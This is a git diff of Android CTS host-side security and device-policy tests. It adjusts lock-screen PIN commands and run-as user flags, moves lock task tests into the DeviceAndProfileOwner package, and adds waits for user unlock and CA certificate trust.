--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
@@ -52,7 +52,7 @@ public class AuthBoundKeyTest extends BaseAppSecurityTest {
new InstallMultiple().addApk(APK).run();
getDevice().executeShellCommand("cmd lock_settings set-pin 1234");
runDeviceTests(PKG, CLASS, "testGenerateAuthBoundKey");
- getDevice().executeShellCommand("cmd lock_settings clear --old 1234 --user 0");
+ getDevice().executeShellCommand("cmd lock_settings clear --old 1234");
runDeviceTests(PKG, CLASS, "testUseKey");
getDevice().executeShellCommand("cmd lock_settings set-pin 12345");
getDevice().executeShellCommand("input keyevent 26"); // Screen on
@@ -63,7 +63,7 @@ public class AuthBoundKeyTest extends BaseAppSecurityTest {
try {
runDeviceTests(PKG, CLASS, "testUseKey");
} finally {
- getDevice().executeShellCommand("cmd lock_settings clear --old 12345 --user 0");
+ getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
}
}
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 2723a6d456e..b2f9f3fedfe 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -408,10 +408,10 @@ public abstract class BasePermissionsTest {
long start = System.currentTimeMillis();
while (permissionView == null && start + RETRY_TIMEOUT > System.currentTimeMillis()) {
permissionView = getUiDevice().wait(Until.findObject(By.text(permissionLabel)),
- GLOBAL_TIMEOUT_MILLIS);
+ IDLE_TIMEOUT_MILLIS);
if (permissionView == null) {
- getUiDevice().findObject(By.res("android:id/list_container"))
+ getUiDevice().findObject(By.scrollable(true))
.scroll(Direction.DOWN, 1);
}
}
diff --git a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
index d6140f04394..7f69bf37949 100644
--- a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
+++ b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
@@ -31,10 +31,7 @@ public final class RunasPermissionsTest extends DeviceTestCase {
private static final String CONNECTOR_EXE_NAME = "connector";
private static final String START_TEST_APP_COMMAND = String.format("cmd activity start-activity -S -W %s/%s.%s",
TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_APP_CLASS);
- private static final String COPY_CONNECTOR_COMMAND = String
- .format("run-as %s sh -c 'cp -f /data/local/tmp/%s ./code_cache/'", TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
- private static final String RUN_CONNECTOR_COMMAND = String.format("run-as %s sh -c './code_cache/%s'",
- TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
+
// Test app ('DomainSocketActivity') would pass string "Connection Succeeded." to the
// connector, and then the connector would append a newline and print it out.
private static final String EXPECTED_CONNECTOR_OUTPUT = "Connection Succeeded.\n";
@@ -54,8 +51,13 @@ public final class RunasPermissionsTest extends DeviceTestCase {
// Start a run-as process that attempts to connect to the socket opened by the
// app.
- getDevice().executeShellCommand(COPY_CONNECTOR_COMMAND);
- String results = getDevice().executeShellCommand(RUN_CONNECTOR_COMMAND);
+ int currentUser = getDevice().getCurrentUser();
+ getDevice().executeShellCommand(String.format(
+ "run-as %s --user %d sh -c 'cp -f /data/local/tmp/%s ./code_cache/'",
+ TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
+ String results = getDevice().executeShellCommand(String.format(
+ "run-as %s --user %d sh -c './code_cache/%s'",
+ TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
assertEquals(EXPECTED_CONNECTOR_OUTPUT, results);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index c8385d715ce..fedd10ead10 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -85,6 +85,20 @@
<activity
android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+ <activity
+ android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
+ <activity
+ android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted"
+ android:launchMode="singleInstance"
+ android:lockTaskMode="if_whitelisted">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.HOME"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
new file mode 100644
index 00000000000..5b8f4fb4894
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class AffiliationTest {
+
+ private DevicePolicyManager mDevicePolicyManager;
+
+ @Before
+ public void setUp() {
+ Context context = InstrumentationRegistry.getContext();
+ mDevicePolicyManager = (DevicePolicyManager)
+ context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ }
+
+ @Test
+ public void testSetAffiliationId1() {
+ setAffiliationIds(Collections.singleton("id.number.1"));
+ }
+
+ @Test
+ public void testSetAffiliationId2() {
+ setAffiliationIds(Collections.singleton("id.number.2"));
+ }
+
+ @Test
+ public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
+ checkLockTaskMethodsThrow();
+ }
+
+ /** Assumes that the calling user is already affiliated before calling this method */
+ @Test
+ public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
+ final String[] packages = {"package1", "package2"};
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+ assertArrayEquals(packages,
+ mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT));
+ assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
+ assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
+
+ final Set<String> previousAffiliationIds =
+ mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT);
+ try {
+ // Clearing affiliation ids for this user. Lock task methods unavailable.
+ setAffiliationIds(Collections.emptySet());
+ checkLockTaskMethodsThrow();
+ assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+
+ // Affiliating the user again. Previously set packages have been cleared.
+ setAffiliationIds(previousAffiliationIds);
+ assertEquals(0,
+ mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT).length);
+ assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+ } finally {
+ mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT,
+ previousAffiliationIds);
+ }
+ }
+
+ private void setAffiliationIds(Set<String> ids) {
+ mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT, ids);
+ assertEquals(ids, mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ private void checkLockTaskMethodsThrow() {
+ try {
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, new String[0]);
+ fail("setLockTaskPackages did not throw expected SecurityException");
+ } catch (SecurityException expected) {
+ }
+ try {
+ mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT);
+ fail("getLockTaskPackages did not throw expected SecurityException");
+ } catch (SecurityException expected) {
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index fe6e0b964bc..8f9b9b56486 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -110,7 +110,22 @@ public class BaseDeviceAdminTest extends InstrumentationTestCase {
}
}
+ protected void waitUntilUserUnlocked() {
+ boolean isUserUnlocked = mUserManager.isUserUnlocked();
+ int retries = 30;
+ while (retries >= 0 && !isUserUnlocked) {
+ retries--;
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ break;
+ }
+ }
+ assertTrue("User should have been unlocked", mUserManager.isUserUnlocked());
+ }
+
protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+ waitUntilUserUnlocked();
int retries = 15;
// isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
while (retries >= 0
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 4edf846577e..2e5f479d7ce 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -149,13 +149,28 @@ public class CaCertManagementTest extends BaseDeviceAdminTest {
tmf.init((KeyStore) null);
X509TrustManager tm = getFirstX509TrustManager(tmf);
boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
- X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
- boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
+
+ // Maximal time to wait until the certificate is found to be in the accepted
+ // issuers list before declaring test failure.
+ final int maxWaitForCertificateTrustedSec = 15;
// All three responses should match - if an installed certificate isn't trusted or (worse)
// a trusted certificate isn't even installed we should fail now, loudly.
assertEquals(installed, listed);
+ int numTries = 0;
+ while (numTries < (maxWaitForCertificateTrustedSec * 10) && (installed != trusted)) {
+ try {
+ Thread.sleep(100);
+ trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
+ numTries++;
+ } catch (InterruptedException e) {
+ break;
+ }
+ }
assertEquals(installed, trusted);
+
+ X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
+ boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
assertEquals(installed, userAddedCertificate);
return installed;
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 99b97bdd908..c2e21216098 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -13,10 +13,7 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package com.android.cts.deviceowner;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
+package com.android.cts.deviceandprofileowner;
import android.app.ActivityManager;
import android.app.admin.DevicePolicyManager;
@@ -44,7 +41,7 @@ import org.junit.runner.RunWith;
* state after running.
*/
@RunWith(AndroidJUnit4.class)
-public class LockTaskHostDrivenTest {
+public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
private static final String TAG = LockTaskHostDrivenTest.class.getName();
@@ -96,7 +93,7 @@ public class LockTaskHostDrivenTest {
public void tearDown() {
mContext.unregisterReceiver(mReceiver);
}
-
+
@Test
public void startLockTask() throws Exception {
Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -114,7 +111,7 @@ public class LockTaskHostDrivenTest {
mUiDevice.waitForIdle();
// We need to wait until the LockTaskActivity is ready
- // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
+ // since the package can be killed by AMS for reason "start instr".
synchronized (mActivityResumedLock) {
if (!mIsActivityResumed) {
mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
@@ -140,10 +137,9 @@ public class LockTaskHostDrivenTest {
@Test
public void clearDefaultHomeIntentReceiver() {
mDevicePolicyManager.clearPackagePersistentPreferredActivities(
- BasicAdminReceiver.getComponentName(mContext),
+ ADMIN_RECEIVER_COMPONENT,
mContext.getPackageName());
- mDevicePolicyManager.setLockTaskPackages(BasicAdminReceiver.getComponentName(mContext),
- new String[0]);
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, new String[0]);
}
private void checkLockedActivityIsRunning() throws Exception {
@@ -165,13 +161,13 @@ public class LockTaskHostDrivenTest {
}
private void setDefaultHomeIntentReceiver() {
- mDevicePolicyManager.setLockTaskPackages(BasicAdminReceiver.getComponentName(mContext),
+ mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT,
new String[]{mContext.getPackageName()});
IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
intentFilter.addCategory(Intent.CATEGORY_HOME);
intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
mDevicePolicyManager.addPersistentPreferredActivity(
- BasicAdminReceiver.getComponentName(mContext), intentFilter,
+ ADMIN_RECEIVER_COMPONENT, intentFilter,
new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
index 6cfec10606e..37f1be307a9 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
@@ -13,7 +13,7 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
@@ -23,10 +23,6 @@ import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATI
import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
import static org.junit.Assert.assertArrayEquals;
import static org.testng.Assert.assertThrows;
@@ -52,19 +48,18 @@ import org.junit.runner.RunWith;
import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
-public class LockTaskTest {
+public class LockTaskTest extends BaseDeviceAdminTest {
private static final String TAG = "LockTaskTest";
private static final String PACKAGE_NAME = LockTaskTest.class.getPackage().getName();
- private static final ComponentName ADMIN_COMPONENT =
- new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
+ private static final ComponentName ADMIN_COMPONENT = ADMIN_RECEIVER_COMPONENT;
private static final String TEST_PACKAGE = "com.google.android.example.somepackage";
private static final String UTILITY_ACTIVITY
- = "com.android.cts.deviceowner.LockTaskUtilityActivity";
+ = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivity";
private static final String UTILITY_ACTIVITY_IF_WHITELISTED
- = "com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted";
+ = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted";
private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
"com.android.cts.intent.receiver";
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
index aeb8abd5430..be3ec0717a4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
import android.app.Activity;
import android.content.Intent;
@@ -28,11 +28,11 @@ public class LockTaskUtilityActivity extends Activity {
public static final String START_ACTIVITY = "startActivity";
public static final String FINISH = "finish";
- public static final String CREATE_ACTION = "com.android.cts.deviceowner.LOCK_TASK_CREATE";
- public static final String DESTROY_ACTION = "com.android.cts.deviceowner.LOCK_TASK_DESTROY";
- public static final String PAUSE_ACTION = "com.android.cts.deviceowner.LOCK_TASK_PAUSE";
- public static final String RESUME_ACTION = "com.android.cts.deviceowner.LOCK_TASK_RESUME";
- public static final String INTENT_ACTION = "com.android.cts.deviceowner.LOCK_TASK_INTENT";
+ public static final String CREATE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_CREATE";
+ public static final String DESTROY_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_DESTROY";
+ public static final String PAUSE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_PAUSE";
+ public static final String RESUME_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_RESUME";
+ public static final String INTENT_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_INTENT";
@Override
protected void onNewIntent(Intent intent) {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
index 4cf6efadf2f..d030fdda257 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
index 31d3bf969a4..5f16337e560 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
@@ -42,6 +42,7 @@ public class ResetPasswordTest extends BaseDeviceAdminTest {
* Test: a Device Owner or (un-managed) Profile Owner can create, change and remove a password.
*/
public void testResetPassword() {
+ waitUntilUserUnlocked();
testResetPasswordEnabled(true, true);
}
@@ -49,6 +50,7 @@ public class ResetPasswordTest extends BaseDeviceAdminTest {
* Test: a managed Profile Owner can create and change, but not remove, a password.
*/
public void testResetPasswordManagedProfile() {
+ waitUntilUserUnlocked();
testResetPasswordEnabled(true, false);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index ebb848bffb1..1b5bdac928b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -72,19 +72,6 @@
</service>
<activity
- android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
- <activity
- android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
- android:launchMode="singleInstance"
- android:lockTaskMode="if_whitelisted">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.HOME"/>
- <category android:name="android.intent.category.DEFAULT"/>
- </intent-filter>
- </activity>
-
- <activity
android:name=".SetPolicyActivity"
android:launchMode="singleTop">
<intent-filter>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 57d200b6fc4..2424c46ab8f 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -17,12 +17,8 @@
package com.android.cts.deviceowner;
import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
import static junit.framework.Assert.fail;
-import static org.junit.Assert.assertArrayEquals;
-
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
@@ -81,52 +77,8 @@ public class AffiliationTest {
setAffiliationIds(Collections.singleton("id.number.2"));
}
- @Test
- public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
- checkLockTaskMethodsThrow();
- }
-
- /** Assumes that the calling user is already affiliated before calling this method */
- @Test
- public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
- final String[] packages = {"package1", "package2"};
- mDevicePolicyManager.setLockTaskPackages(mAdminComponent, packages);
- assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(mAdminComponent));
- assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
- assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
-
- final Set<String> previousAffiliationIds =
- mDevicePolicyManager.getAffiliationIds(mAdminComponent);
- try {
- // Clearing affiliation ids for this user. Lock task methods unavailable.
- setAffiliationIds(Collections.emptySet());
- checkLockTaskMethodsThrow();
- assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
-
- // Affiliating the user again. Previously set packages have been cleared.
- setAffiliationIds(previousAffiliationIds);
- assertEquals(0, mDevicePolicyManager.getLockTaskPackages(mAdminComponent).length);
- assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
- } finally {
- mDevicePolicyManager.setAffiliationIds(mAdminComponent, previousAffiliationIds);
- }
- }
-
private void setAffiliationIds(Set<String> ids) {
mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
}
-
- private void checkLockTaskMethodsThrow() {
- try {
- mDevicePolicyManager.setLockTaskPackages(mAdminComponent, new String[0]);
- fail("setLockTaskPackages did not throw expected SecurityException");
- } catch (SecurityException expected) {
- }
- try {
- mDevicePolicyManager.getLockTaskPackages(mAdminComponent);
- fail("getLockTaskPackages did not throw expected SecurityException");
- } catch (SecurityException expected) {
- }
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
index 1cbf5b27e44..b69a60c684f 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
@@ -16,6 +16,8 @@
package com.android.cts.deviceowner;
+import static android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID;
+
import android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback;
import android.content.Intent;
import android.content.IntentFilter;
@@ -54,38 +56,38 @@ public class InstallUpdateTest extends BaseDeviceOwnerTest {
}
public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
- assertUpdateError("notZip.zi",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ if (!isDeviceAB()) {
+ return;
+ }
+ assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
}
public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
- assertUpdateError("wrongPayload.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ if (!isDeviceAB()) {
+ return;
+ }
+ assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
}
public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
- assertUpdateError("empty.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ if (!isDeviceAB()) {
+ return;
+ }
+ assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
}
public void testInstallUpdate_failWrongHash() throws InterruptedException {
- assertUpdateError("wrongHash.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ if (!isDeviceAB()) {
+ return;
+ }
+ assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
}
public void testInstallUpdate_failWrongSize() throws InterruptedException {
- assertUpdateError("wrongSize.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ if (!isDeviceAB()) {
+ return;
+ }
+ assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
}
public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -101,15 +103,15 @@ public class InstallUpdateTest extends BaseDeviceOwnerTest {
}
public void testInstallUpdate_notCharging_aboveThreshold_passesBatteryCheck() throws Exception {
+ if (!isDeviceAB()) {
+ return;
+ }
try {
setNonChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
setNonChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
// Positive CTS tests aren't possible, so we verify that we get the file-related error
// rather than the battery one.
- assertUpdateError("wrongSize.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
} finally {
resetBatteryState();
resetDevicePolicyConstants();
@@ -129,15 +131,15 @@ public class InstallUpdateTest extends BaseDeviceOwnerTest {
}
public void testInstallUpdate_charging_aboveThreshold_passesBatteryCheck() throws Exception {
+ if (!isDeviceAB()) {
+ return;
+ }
try {
setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
// Positive CTS tests aren't possible, so we verify that we get the file-related error
// rather than the battery one.
- assertUpdateError("wrongSize.zip",
- isDeviceAB()
- ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
- : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+ assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
} finally {
resetBatteryState();
resetDevicePolicyConstants();
